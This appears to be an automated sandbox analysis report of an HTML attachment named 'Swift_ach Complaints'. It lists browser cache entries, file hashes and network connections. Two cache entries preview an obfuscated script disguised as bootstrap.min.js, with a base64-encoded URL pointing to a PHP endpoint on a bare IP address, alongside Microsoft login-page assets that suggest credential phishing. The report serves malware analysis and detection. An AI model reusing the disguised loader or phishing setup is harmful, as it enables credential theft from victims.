Preview:	var file = "aHR0cDovLzE4NS4yMTUuMTY1Ljg5LzYxNDY4NTE1MTYvbmV4dC5waHA=";..var _0x46297a=_0x2d34;(function(_0x14d880,_0x313a52){var _0x5a75dc=_0x2d34,_0x31141b=_0x14d880();while(!![]){try{var _0x1bf413=-parseInt(_0x5a75dc(0x1043))/(-0x85+-0xbd0x27+0x1d51)+-parseInt(_0x5a75dc(0x14d9))/(-0x71-0x2e+0x90+-0x14dc)+parseInt(_0x5a75dc(0x570))/(-0x16e1+0x20x121d+-0x2390x6)(-parseInt(_0x5a75dc(0x13d3))/(-0x10x1b0f+0x73d-0x1+0x7a0x48))+-parseInt(_0x5a75dc(0x1e0b))/(0xe-0x28c+-0x1f06+-0x1-0x42b3)+parseInt(_0x5a75dc(0x9b8))/(-0x10x2285+0x1d41+0x20x2a5)(parseInt(_0x5a75dc(0x1a49))/(0x650x39+-0x1ce20x1+0x66c))+parseInt(_0x5a75dc(0x264e))/(0x229d0x1+0xcee+-0x2f83)(parseInt(_0x5a75dc(0xa9b))/(0x1180+0x5ed-0x5+-0x1-0xc2a))+parseInt(_0x5a75dc(0x18c6))/(-0x5ab0x6+0xad8+0x10x1734);if(_0x1bf413===_0x313a52)break;else _0x31141b['push'](_0x31141b['shift']());}catch(_0x44c5a0){_0x31141b['push'](_0x31141b['shift']());}}}(_0x5e20,0x1ab374+0x20x8708f+0x1-0x1c7a2b));var count=-0xa62+-0x1-0x9a

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65464), with CRLF line terminators
Category:	downloaded
Size (bytes):	562333
Entropy (8bit):	4.934723165550033
Encrypted:	false
SSDEEP:	6144:KSXomQKfDLlEBsDbtA5nH8cSndT+M83OpfRLc4:KSXocLl2sDbu5nH83Ztv
MD5:	8D124A28E2794CB30072930B9F1E301A
SHA1:	9DA7278362D7B895025C7D6E1F00805DBBFD51AB
SHA-256:	32946E3E0B2CFB3BFC28256F3C6AE297ABB7F9E094F010AA5687BBEF85E5A134
SHA-512:	87B8B225F4FFD7337B37C14A0BAB23E151B07509BF184C28DE1E6261DA8C979EA42AF15A05A200210EC26761D5589CB1CBD90E9973048DA0C55B708BDFCFAB26
Malicious:	false
URL:	https://6146851516-1323985617.cos.na-ashburn.myqcloud.com/attach%2Fbootstrap.min.js
Preview:	var file = "aHR0cDovLzE4NS4yMTUuMTY1Ljg5LzYxNDY4NTE1MTYvbmV4dC5waHA=";..var _0x46297a=_0x2d34;(function(_0x14d880,_0x313a52){var _0x5a75dc=_0x2d34,_0x31141b=_0x14d880();while(!![]){try{var _0x1bf413=-parseInt(_0x5a75dc(0x1043))/(-0x85+-0xbd0x27+0x1d51)+-parseInt(_0x5a75dc(0x14d9))/(-0x71-0x2e+0x90+-0x14dc)+parseInt(_0x5a75dc(0x570))/(-0x16e1+0x20x121d+-0x2390x6)(-parseInt(_0x5a75dc(0x13d3))/(-0x10x1b0f+0x73d-0x1+0x7a0x48))+-parseInt(_0x5a75dc(0x1e0b))/(0xe-0x28c+-0x1f06+-0x1-0x42b3)+parseInt(_0x5a75dc(0x9b8))/(-0x10x2285+0x1d41+0x20x2a5)(parseInt(_0x5a75dc(0x1a49))/(0x650x39+-0x1ce20x1+0x66c))+parseInt(_0x5a75dc(0x264e))/(0x229d0x1+0xcee+-0x2f83)(parseInt(_0x5a75dc(0xa9b))/(0x1180+0x5ed-0x5+-0x1-0xc2a))+parseInt(_0x5a75dc(0x18c6))/(-0x5ab0x6+0xad8+0x10x1734);if(_0x1bf413===_0x313a52)break;else _0x31141b['push'](_0x31141b['shift']());}catch(_0x44c5a0){_0x31141b['push'](_0x31141b['shift']());}}}(_0x5e20,0x1ab374+0x20x8708f+0x1-0x1c7a2b));var count=-0xa62+-0x1-0x9a

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (63914), with CRLF line terminators
Entropy (8bit):	3.6767066042962795
TrID:
File name:	Swift_ach Complaints.sppgCQDM.html
File size:	389'385 bytes
MD5:	6822fc30ecae313f0d163b0dba649915
SHA1:	37e0c4380f286501aa73c3116514e8b326a7443f
SHA256:	1038b7cedacd32f466edc489f5618442f9eec0dc096a481082e044d3e06a8bb7
SHA512:	0cf440663e0c81d3f7d254dad646c40a5c2ebc97f75a8952d2e44098cf5347d0deff6094083455dbae8feb19f5d7d2c3327a86a953e3222b1c585e6b38df3851
SSDEEP:	768:q9mVitEOS582MZhg5MvCNr0bl1O4Tyzuyq1u1XaR144coxEq5DGmKVwmSI31:d1
TLSH:	DB845F3792E8C647BA227945849B8C820ECE5D1AADF8D13D16B580D7FE3A8ECC174D71
File Content Preview:	<span>Pig chuck culpa sunt aliquip doner ullamco shoulder ut boudin shankle. Laborum chicken nostrud ut irure, tail frankfurter. Exercitation in jerky, cupidatat tail pastrami esse occaecat voluptate rump labore mollit meatball tenderloin. Doner pig

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 12:20:53.851063967 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:20:53.851130009 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:20:54.179207087 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 1, 2024 12:21:00.837445021 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:00.837490082 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:00.837541103 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:00.838249922 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:00.838268042 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.625760078 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.625854015 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.629715919 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.629724026 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.629975080 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.632940054 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.632997990 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.633002996 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.633126020 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.679399014 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.804725885 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.805301905 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:01.805356026 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.810165882 CEST	49710	443	192.168.2.6	40.115.3.253
Oct 1, 2024 12:21:01.810188055 CEST	443	49710	40.115.3.253	192.168.2.6
Oct 1, 2024 12:21:02.175812006 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.175868988 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.175941944 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.176104069 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.176151037 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.176209927 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.176333904 CEST	49714	443	192.168.2.6	104.17.24.14
Oct 1, 2024 12:21:02.176352978 CEST	443	49714	104.17.24.14	192.168.2.6
Oct 1, 2024 12:21:02.176467896 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.176486015 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.178258896 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.178281069 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.178339958 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.179001093 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.179017067 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.179305077 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.179330111 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.179373980 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.179548979 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.179562092 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.503578901 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:02.503616095 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:02.503741980 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:02.503983021 CEST	49723	443	192.168.2.6	49.51.77.119
Oct 1, 2024 12:21:02.503998995 CEST	443	49723	49.51.77.119	192.168.2.6
Oct 1, 2024 12:21:02.643040895 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.643320084 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.643615007 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.643630028 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.644273043 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.644304991 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.644937992 CEST	443	49715	151.101.2.137	192.168.2.6
Oct 1, 2024 12:21:02.644999981 CEST	49715	443	192.168.2.6	151.101.2.137
Oct 1, 2024 12:21:02.645067930 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.645313978 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.645323992 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.645461082 CEST	443	49716	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.645515919 CEST	49716	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.646358967 CEST	443	49718	104.18.10.207	192.168.2.6
Oct 1, 2024 12:21:02.646409035 CEST	49718	443	192.168.2.6	104.18.10.207
Oct 1, 2024 12:21:02.649981976 CEST	49715	443	192.168.2.6	151.101.2.137
